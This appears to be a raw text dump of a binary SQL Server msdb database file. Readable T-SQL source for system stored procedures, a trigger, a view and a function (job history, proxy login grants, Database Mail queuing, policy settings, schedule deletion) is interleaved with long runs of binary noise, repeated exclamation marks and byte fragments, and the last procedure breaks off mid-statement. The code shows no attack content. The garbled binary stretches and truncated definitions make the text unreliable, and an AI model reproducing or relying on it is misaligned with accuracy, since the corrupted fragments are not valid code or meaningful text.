  @group_sid VARBINARY(85) = NULL,
   @role_principal_id  INT = NULL, 
   @login_sid VARBINARY(85)
) 
AS
BEGIN
   DECLARE @ret_success  INT
  DECLARE @login        NVARCHAR(256)
   DECLARE @impersonated INT
  DECLARE @group_name   NVARCHAR(256)
   SELECT   @ret_success = 0 --failure  
  SELECT  @impersonated = 0

  IF (@group_sid IS NOT NULL AND @login_sid IS NULL)
    RETURN(0)

  --a sysadmin can check for every user group membership
  IF (@login_sid IS NOT NULL) AND (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 1)
  BEGIN
    --get login name from principal_id
    SELECT @login = SUSER_SNAME(@login_sid)
    
    IF SUSER_SNAME() <> @login
    BEGIN
       --impersonate
        EXECUTE sp_setuserbylogin @login
      SELECT @impersonated = 1
    END
  END
  
  IF @group_sid IS NOT NULL
    SELECT @group_name = SUSER_SNAME(@group_sid)
  ELSE
    SELECT @group_name = USER_NAME(@role_principal_id)
        
   -- return success, if login is member of the group, and failure if group doesnt exist or login is not member of the group
   SELECT  @ret_success = ISNULL(IS_MEMBER(@group_name),0)

   --revert to self
  IF @impersonated = 1
         EXECUTE sp_setuserbylogin

   RETURN @ret_success
END 
0!H&{ {8CREATE TRIGGER trig_notification_delete
ON msdb.dbo.sysnotifications
FOR DELETE
AS
BEGIN
  SET NOCOUNT ON

  -- Reset the has_notification flag for the affected alerts
  UPDATE msdb.dbo.sysalerts
  SET has_notification = 0
  FROM deleted            d,
       msdb.dbo.sysalerts sa
  WHERE (d.alert_id = sa.id)

  -- Update sysalerts.has_notification (for email)
  UPDATE msdb.dbo.sysalerts
  SET has_notification = has_notification | 1
  FROM msdb.dbo.sysalerts        sa,
       msdb.dbo.sysnotifications sn,
       deleted                   d
  WHERE (sa.id = sn.alert_id)
    AND (sa.id = d.alert_id)
    AND ((sn.notification_method & 1) = 1)

  -- Update sysalerts.has_notification (for pager)
  UPDATE msdb.dbo.sysalerts
  SET has_notification = has_notification | 2
  FROM msdb.dbo.sysalerts        sa,
       msdb.dbo.sysnotifications sn,
       deleted                   d
  WHERE (sa.id = sn.alert_id)
    AND (sa.id = d.alert_id)
    AND ((sn.notification_method & 2) = 2)

  -- Update sysalerts.has_notification (for netsend)
  UPDATE msdb.dbo.sysalerts
  SET has_notification = has_notification | 4
  FROM msdb.dbo.sysalerts        sa,
       msdb.dbo.sysnotifications sn,
       deleted                   d
  WHERE (sa.id = sn.alert_id)
    AND (sa.id = d.alert_id)
    AND ((sn.notification_method & 4) = 4)
END
0=z 8-- sp_SendMailQueues : Writes a send mail request to the queue.
--
CREATE  PROCEDURE sp_SendMailQueues
    @message_data      varchar(max) -- The request in XML
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @contract_name nvarchar(128)
    DECLARE @message_type nvarchar(128)
    DECLARE @retValue int

    SET @message_type = '{//www.microsoft.com/databasemail/messages}SendMail'
    SET @contract_name = '//www.microsoft.com/databasemail/contracts/SendMail/v1.0'

    --Writes the message to the queue
    EXEC @retValue = sp_SendMailMessage @contract_name, @message_type, @message_data

    RETURN @retValue
END
03z -8CREATE PROCEDURE [dbo].[sp_ssis_getfolder]
  @name sysname,
  @parentfolderid uniqueidentifier
AS
  SELECT
   folder.folderid,
   folder.foldername,
   folder.parentfolderid,
   parent.foldername
  FROM
      sysssispackagefolders folder 
  LEFT OUTER JOIN 
      sysssispackagefolders parent
  ON
      folder.parentfolderid = parent.folderid
  WHERE
      folder.foldername = @name AND
      (folder.parentfolderid = @parentfolderid OR 
      (@parentfolderid IS NULL AND folder.parentfolderid IS NULL))
0yRz 8CREATE VIEW [dbo].[syspolicy_configuration]
AS
    SELECT 
        name,
        CASE WHEN name = N'Enabled' and SERVERPROPERTY('EngineEdition') = 4 THEN 0 ELSE current_value END AS current_value
    FROM [dbo].[syspolicy_configuration_internal] 
0CF{ 8CREATE PROCEDURE [dbo].[sp_syspolicy_set_config_history_retention] 
	@value sql_variant
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

    UPDATE [msdb].[dbo].[syspolicy_configuration_internal]
        SET current_value = @value
        WHERE name = N'HistoryRetentionInDays';
    
END
0^/z %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!si`<hO:u0<J$PZ=?C? 4H\pA???@@???@@?&@?(??1PA?2 A?3??4`A?5@?6@@?7@@?P@?QB?R0<K$
1\

&W>f;i;i;m	A:G(9A[E@?@@@8 (@Wn&=Tk#:Qh		 	7	N	e	|						

4
K
b
y





1H_v.E\s
+
B
Y
p






(?Vm%<Sj"9Pg~6Md{3Jax0G^u-D[r*AXo'>Ul
$;Ri
!B?@??@@@33?
A@@A?A?pA?
@?h `A@`@ AA@AAA?O4B?_@@@@@tA@`@LA0A0@A@@@@0)`A?$@@@@@iM A@@3m	@A@`@ A?@A@@@z
A@@&n@A@@@@>A@@@@2A@@|@@@	*p@?34ApA@{rX@@ @A@`@@0A@@kA??&4A@@@@PA0A@
^A?!@@@1R A?FA@@@@Oj@?4z:@@?!PA@@'%"@@@`I#@A@@m$A@@ґ%A0Aj@")PA@@@@me
+A@@7,@?aS,@@`@G-A?-@A?.A@ @Q.0A@A@A//A@@@@/A@ @>0A?T:0 A?~D1A??b1@A@UU@52@@@@@3A?Dj3pA?n3A?3A?)3A?}^4 A?ϓ4@@?8˳4 A@@5A?R5@??q5A@@@
G6A@A@6A`A`@
B7A@@@@`d8AA@@ĄX9@A@@9pA@@L:@@@:@@?:@@@`;pA?;A?E;A?o4<A?T<0A?)=@@@r5=>`A??r>A?^?A?Y1?B@@S@B@ @AA@@@@BA@@7CA@@?p7D0A@A@A[EA@@eE A@@u}F A?F`A?G@@`@TȚHpA?H8B?IA@@JAA@4wK0A@@:KA?8YkLA@@@@^LA?q}_MAA*@SNPA@@eNTB@@GO@@@˜OpA@@@@;P A@@PB@@U0QA@@@@Q@@@2$R A?.DR@@@@VS A A A\mS@@@@v,TA?aT@@?TApA@U0A@@@@rUA@@@W~VA@@WA?f=W@@@@@W0A?0XA@@VTYPA@`@ tZ@@ @Y[@@`@\PA?+]A@@^A@@@@s	^A AUUU@-~_APA@G=`B?Qr` ApAp@WZbPA?bA@@ucpA?Bd0A?dA?dA?eAAAeA?!e@@@JEf@A?tOgPA@@Y_g`A?igA?shA?hA?h@@@˧iA@@i@@@@gkApA@l@pAp@Hm@@@@gnA?<qnA?lnA@@!JoA@@uo@@@@spA?pPA??p A0A@ݜqA@@q@@`@rA?/Ps?@`@0s@@@h@DtA@@#Ft0A@@@wZu@??nmu0A@@~u@??av@@UU@=UwA@@gw@@@@@"wA@@~xA@`@=yA?	sy@@`@#2z@@@!H&{pA@@@@KR[{pA?X{A?0b{@A@@@@vO|A@@i| AA@@}@@@7~A@`@~@@@/+@?@@?_[@	o?:@@ʤ6?B[t@5 q|? @܊@@.;?	Y@i`UU?Ȗ@@%@WR9?
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<J
HEF}0<N"0<N"0<O "0<P "0<R "0<T "0<U "0<V "0<V "0<V "0<W "0<Y "0<Y "0<Z$\	\\?C2<C2<@AB@@@B?0<Z$1\	\\?C2<C2<C2<//@AB@@@x0G^u-D[r*AXo'>Ul??????????????	??????
??????????????????????????????!???#???%???'???)???+???-???/???1???3???5???7???9???;???=???????A???C???E???G???I???K???M???O???Q???S???U???W???Y???[??\0<K@$&	b[t	t	?@@E@>' E?@?
B[t@5?@܊@@y`.&S?t	0<K@$	c[t	t	*>?@E?0DXl`E?PA?@?PA?@@?B?TB[t@5`UU?܊@@%~]f?t	0<K$Z
1\

><!=@[E@&,CZq)@Wn9D?D?C?yC??C? C?
C?C?B?B?	B?
B?BBB
PB?4B,B,BAAAA?pApApA`A? A?`A?PA?0A?@?@@@??"a[@	!?:@@+Ȏ)?B[t@5?(@܊@@p>ٖ?
0<K@$r
1\

?@[E@>'[E?@?
b[@	?:@@hf@?B[t@5?@܊@@y`.&S?
0<K@$
1\

*>?[E?DL0DXl`QE?PA?@?PA?@A?B?Tc[@	`UU?:@@iz
ґ?B[t@5`UU?܊@@%~]f?
B[t@5?@܊@@y`.&S?t	0<K@$	c[t	t	*>?@E?0DXl`E?PA?@?PA?@@?B?TB[t@5`UU?܊@@%~]f?t	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pN,
`l<E.!0~ 8
CREATE PROCEDURE sp_help_jobhistory_sem
               @job_id               UNIQUEIDENTIFIER,
               @job_name             sysname,
               @step_id              INT,
               @sql_message_id       INT,
               @sql_severity         INT,
               @start_run_date       INT,
               @end_run_date         INT,
               @start_run_time       INT,
               @end_run_time         INT,
               @minimum_run_duration INT,
               @run_status           INT,
               @minimum_retries      INT,
               @oldest_first         INT,
               @server               sysname,
               @mode                 VARCHAR(7),
               @order_by             INT,
               @distributed_job_history BIT
AS
-- SQL Enterprise Manager format
IF(@distributed_job_history = 1)
  SELECT sj.job_id,
     null as step_name,
     sjh.last_outcome_message as message,
     sjh.last_run_outcome as run_status,
     sjh.last_run_date as run_date,
     sjh.last_run_time as run_time,
     sjh.last_run_duration as run_duration,
     null as operator_emailed,
     null as operator_netsentname,
     null as operator_paged
  FROM msdb.dbo.sysjobservers                sjh
  JOIN msdb.dbo.systargetservers sts ON (sts.server_id = sjh.server_id)
  JOIN msdb.dbo.sysjobs_view     sj  ON(sj.job_id = sjh.job_id)
  WHERE 
  (@job_id = sjh.job_id)
ELSE
  SELECT sjh.step_id,
     sjh.step_name,
     sjh.message,
     sjh.run_status,
     sjh.run_date,
     sjh.run_time,
     sjh.run_duration,
     operator_emailed = so1.name,
     operator_netsent = so2.name,
     operator_paged = so3.name
  FROM msdb.dbo.sysjobhistory                sjh
     LEFT OUTER JOIN msdb.dbo.sysoperators so1  ON (sjh.operator_id_emailed = so1.id)
     LEFT OUTER JOIN msdb.dbo.sysoperators so2  ON (sjh.operator_id_netsent = so2.id)
     LEFT OUTER JOIN msdb.dbo.sysoperators so3  ON (sjh.operator_id_paged = so3.id),
     msdb.dbo.sysjobs_view                 sj
  WHERE (sj.job_id = sjh.job_id)
  AND (@job_id = sjh.job_id)
  ORDER BY (sjh.instance_id * @order_by)
0/+ 
8CREATE PROCEDURE dbo.sp_grant_login_to_proxy
   @login_name        NVARCHAR(256) = NULL,
   @fixed_server_role NVARCHAR(256) = NULL, 
   @msdb_role         NVARCHAR(256) = NULL, 
   -- must specify only one of above parameter to identify the type of login
   @proxy_id             int           = NULL,
   @proxy_name         sysname       = NULL
   -- must specify only one of above parameter to identify the proxy
AS
BEGIN
  DECLARE @retval   INT
  DECLARE @name nvarchar(256)
  DECLARE @flags INT
  DECLARE @sid VARBINARY(85)
  DECLARE @is_sysadmin BIT
  
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @proxy_name              = LTRIM(RTRIM(@proxy_name))
  SELECT @fixed_server_role       = LTRIM(RTRIM(@fixed_server_role))
  SELECT @msdb_role               = LTRIM(RTRIM(@msdb_role))

  -- Turn [nullable] empty string parameters into NULLs
  IF @proxy_name         = '' SELECT @proxy_name = NULL
  IF @login_name         = '' SELECT @login_name = NULL
  IF @fixed_server_role  = '' SELECT @fixed_server_role = NULL
  IF @msdb_role          = '' SELECT @msdb_role  = NULL
    
  EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                 '@proxy_id',
                                                 @proxy_name OUTPUT,
                                                 @proxy_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  EXECUTE @retval = sp_verify_login_identifiers  @login_name,
                                                 @fixed_server_role,
                                                 @msdb_role,
                                                 @name OUTPUT,
                                                 @sid OUTPUT,
                                                 @flags OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure
    
  -- is login member of sysadmin role?
  SELECT @is_sysadmin = 0
  IF (@login_name IS NOT NULL)
  BEGIN
     EXEC @is_sysadmin = sp_sqlagent_is_srvrolemember N'sysadmin', @login_name -- check role membership 
  END

  IF (@is_sysadmin = 1)
  BEGIN
   -- @name is sysadmin, it cannot granted to proxy
   -- issue a message and do nothing
   RAISERROR(14395, 10, 1, @name)
  END
  ELSE
  BEGIN
   --check if we already added an user for the pair subsystem-proxy
   IF (EXISTS(SELECT * FROM sysproxylogin WHERE proxy_id = @proxy_id 
               AND ISNULL(sid, 0) = ISNULL(@sid,0) 
               AND flags = @flags))
   BEGIN
      RAISERROR(14531, -1, -1)
      RETURN(1) -- Failure
   END

   INSERT INTO sysproxylogin
      (  proxy_id, sid,  flags )
      VALUES
      ( @proxy_id, @sid, @flags)
  END
END
0> 8CREATE PROCEDURE sp_convert_jobid_to_char
  @job_id         UNIQUEIDENTIFIER,
  @job_id_as_char NVARCHAR(34) OUTPUT -- 34 because of the leading '0x'
AS
BEGIN
  DECLARE @job_id_as_binary BINARY(16)
  DECLARE @temp             NCHAR(8)
  DECLARE @counter          INT
  DECLARE @byte_value       INT
  DECLARE @high_word        INT
  DECLARE @low_word         INT
  DECLARE @high_high_nybble INT
  DECLARE @high_low_nybble  INT
  DECLARE @low_high_nybble  INT
  DECLARE @low_low_nybble   INT

  SET NOCOUNT ON

  SELECT @job_id_as_binary = CONVERT(BINARY(16), @job_id)
  SELECT @temp = CONVERT(NCHAR(8), @job_id_as_binary)

  SELECT @job_id_as_char = N''
  SELECT @counter = 1

  WHILE (@counter <= (DATALENGTH(@temp) / 2))
  BEGIN
    SELECT @byte_value       = CONVERT(INT, CONVERT(BINARY(2), SUBSTRING(@temp, @counter, 1)))
    SELECT @high_word        = (@byte_value & 0xff00) / 0x100
    SELECT @low_word         = (@byte_value & 0x00ff)
    SELECT @high_high_nybble = (@high_word & 0xff) / 16
    SELECT @high_low_nybble  = (@high_word & 0xff) % 16
    SELECT @low_high_nybble  = (@low_word & 0xff) / 16
    SELECT @low_low_nybble   = (@low_word & 0xff) % 16

    IF (@high_high_nybble < 10)
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('0') + @high_high_nybble)
    ELSE
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('A') + (@high_high_nybble - 10))

    IF (@high_low_nybble < 10)
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('0') + @high_low_nybble)
    ELSE
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('A') + (@high_low_nybble - 10))

    IF (@low_high_nybble < 10)
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('0') + @low_high_nybble)
    ELSE
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('A') + (@low_high_nybble - 10))

    IF (@low_low_nybble < 10)
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('0') + @low_low_nybble)
    ELSE
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('A') + (@low_low_nybble - 10))

    SELECT @counter = @counter + 1
  END

  SELECT @job_id_as_char = N'0x' + LOWER(@job_id_as_char)
END
0 8CREATE FUNCTION fn_syspolicy_is_automation_enabled()
RETURNS bit
AS
BEGIN
    DECLARE @ret bit;
    SELECT @ret = CONVERT(bit, current_value)
        FROM msdb.dbo.syspolicy_configuration 
        WHERE name = 'Enabled' 

    RETURN @ret;
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`/<
F	O0<)$HJh<0<)$:Z?@FD@%FD?0<)$"AZى<L>@FD@| 7NeB?C?BBB A?0<)$aAZ=@FD@x0G^uB?$B?0A?4C?88B?=??>@@?bA?hB?B?B?A?DB?@?dB?0<)$EZ?p=@FD@t|`w/F]BD???g??v8???\ ???	???@P??yt??M#???A%???n'??c(??
50<* "0<*"0<*"0<+ "0<+"0<)$"#[I
I
?@$E@:% D?D?:ZЈ@?@@xΊj?I
0<) "0<)$8\


#?K<--@ _E@s{h	 7Ne|4Kby1H_v.E\`A?@D?C?C?C?C?SC?)C?C?C?	B?
B?B?B?
B?B?lB?0B?B?A?A?A?A?A?A?`A?@A? A?@@@@@@@@@@@@!@?"???$???&???(???*???,???.???0???2???4???6???8???:???<
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N,



aUp`<@P1O\60<x.P$Z?@?@'??0<x.P "0<]!$Z?@?@'??0<]!$Z????$??0<z "0<"  "0<'$[? A?A+3 ??F)!@p0<'$[? A?A+3 ??Kw8QJŽt0<'$3[?B?BC0??;PerfCountersUpload((PerfCountersUpload@0<'$[? A?A+3 ??Kw8QJŽt0<'$7[?B?BE0??=PerfCountersCollect((PerfCountersCollect@0<'$T[>>B@BA w/0??WGeneric SQL Trace Collector Type0??[Generic T-SQL Query Collector Type0??]Performance Counters Collector Type0??QQuery Activity Collector Type((zGeneric SQL Trace Collector TypeT-SQL Query Collector TypePerformance Counters Collector TypeQuery Activity Collector Type@ #:]0<A "0<A "0< "0<S-r "0<N "0<El "0<A "0<A$\?@?@'??0<A$\?@?@'??0<A$\? A?A+3 ??0<A	$\? ??0<A$\????$??0<A "0<A$\??B?B@o0??gAlwaysOnAgReplicasConnectionHealthPolicy(((AlwaysOnAgReplicasConnectionHealthPolicy@(F$2lJ(~\:

1G\N%4
yF	ki`2<H 0)= 8
CREATE PROCEDURE sp_delete_schedule
(
  @schedule_id          INT                 = NULL,     -- Must provide either this or schedule_name
  @schedule_name        sysname             = NULL,     -- Must provide either this or schedule_id
  @force_delete         bit                 = 0,
  @automatic_post       BIT                 = 1         -- If 1 will post notifications to all tsx servers to that run this schedule
)   
AS
BEGIN
  DECLARE @retval           INT
  DECLARE @owner_sid        VARBINARY(85)
  DECLARE @job_count        INT
  DECLARE @targ_server_id   INT

  SET NOCOUNT ON
  --Get the owners sid       
  SELECT @job_count = 0

  -- Check that we can uniquely identify the schedule. This only returns a schedule that is visible to this user
  EXECUTE @retval = msdb.dbo.sp_verify_schedule_identifiers @name_of_name_parameter = '@schedule_name',
                                                            @name_of_id_parameter   = '@schedule_id',
                                                            @schedule_name          = @schedule_name    OUTPUT,
                                                            @schedule_id            = @schedule_id      OUTPUT,
                                                            @owner_sid              = @owner_sid        OUTPUT,
                                                            @orig_server_id         = NULL
  IF (@retval <> 0)
    RETURN(1) -- Failure 

  -- Non-sysadmins can only update jobs schedules they own. 
  -- Members of SQLAgentReaderRole and SQLAgentOperatorRole can view job schedules, 
  -- but they should not be able to delete them
  IF ((@owner_sid <> SUSER_SID()) AND
